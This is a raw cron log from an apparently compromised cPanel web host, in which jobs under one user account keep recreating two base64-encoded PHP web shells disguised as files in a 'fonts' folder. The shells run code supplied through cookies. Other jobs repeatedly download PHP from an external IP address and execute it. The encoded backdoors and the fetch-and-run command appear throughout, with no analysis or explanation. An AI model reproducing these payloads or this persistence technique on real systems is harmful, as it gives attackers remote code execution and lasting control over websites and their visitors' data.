Sep 12 11:33:01 ip-184-168-122-23 CROND[17882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:33:01 ip-184-168-122-23 CROND[17883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:33:01 ip-184-168-122-23 CROND[17884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:34:01 ip-184-168-122-23 CROND[17966]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:34:01 ip-184-168-122-23 CROND[17968]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:34:01 ip-184-168-122-23 CROND[17969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:34:01 ip-184-168-122-23 CROND[17970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:34:01 ip-184-168-122-23 CROND[17971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:35:01 ip-184-168-122-23 CROND[18066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:35:02 ip-184-168-122-23 CROND[18068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:35:02 ip-184-168-122-23 CROND[18065]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:35:02 ip-184-168-122-23 CROND[18075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:35:02 ip-184-168-122-23 CROND[18072]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 11:35:02 ip-184-168-122-23 CROND[18074]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 11:35:02 ip-184-168-122-23 CROND[18073]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 11:35:02 ip-184-168-122-23 CROND[18076]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 11:36:01 ip-184-168-122-23 CROND[18217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:36:01 ip-184-168-122-23 CROND[18219]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:36:01 ip-184-168-122-23 CROND[18222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:36:01 ip-184-168-122-23 CROND[18223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:36:01 ip-184-168-122-23 CROND[18220]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:37:01 ip-184-168-122-23 CROND[18316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:37:01 ip-184-168-122-23 CROND[18315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:37:01 ip-184-168-122-23 CROND[18317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:37:01 ip-184-168-122-23 CROND[18319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:38:01 ip-184-168-122-23 CROND[18492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:38:01 ip-184-168-122-23 CROND[18495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:38:01 ip-184-168-122-23 CROND[18494]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:38:01 ip-184-168-122-23 CROND[18496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:38:01 ip-184-168-122-23 CROND[18497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:39:01 ip-184-168-122-23 CROND[18602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:39:01 ip-184-168-122-23 CROND[18603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:39:01 ip-184-168-122-23 CROND[18604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:39:01 ip-184-168-122-23 CROND[18607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:39:01 ip-184-168-122-23 CROND[18606]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 11:40:01 ip-184-168-122-23 CROND[18705]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 11:40:01 ip-184-168-122-23 CROND[18708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:40:01 ip-184-168-122-23 CROND[18711]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:40:01 ip-184-168-122-23 CROND[18712]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:40:01 ip-184-168-122-23 CROND[18710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:40:01 ip-184-168-122-23 CROND[18709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:40:01 ip-184-168-122-23 CROND[18714]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 11:40:01 ip-184-168-122-23 CROND[18715]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 11:41:01 ip-184-168-122-23 CROND[18819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:41:01 ip-184-168-122-23 CROND[18822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:41:01 ip-184-168-122-23 CROND[18821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:41:01 ip-184-168-122-23 CROND[18823]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:42:01 ip-184-168-122-23 CROND[18946]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:42:01 ip-184-168-122-23 CROND[18948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:42:01 ip-184-168-122-23 CROND[18950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:42:01 ip-184-168-122-23 CROND[18949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:42:01 ip-184-168-122-23 CROND[18951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:43:01 ip-184-168-122-23 CROND[19124]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:43:01 ip-184-168-122-23 CROND[19125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:43:01 ip-184-168-122-23 CROND[19127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:43:01 ip-184-168-122-23 CROND[19126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:44:01 ip-184-168-122-23 CROND[19280]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 11:44:01 ip-184-168-122-23 CROND[19282]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 11:44:01 ip-184-168-122-23 CROND[19283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 11:44:01 ip-184-168-122-23 CROND[19284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 11:44:01 ip-184-168-122-23 CROND[19285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:45:01 ip-184-168-122-23 CROND[19382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 11:45:01 ip-184-168-122-23 CROND[19384]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
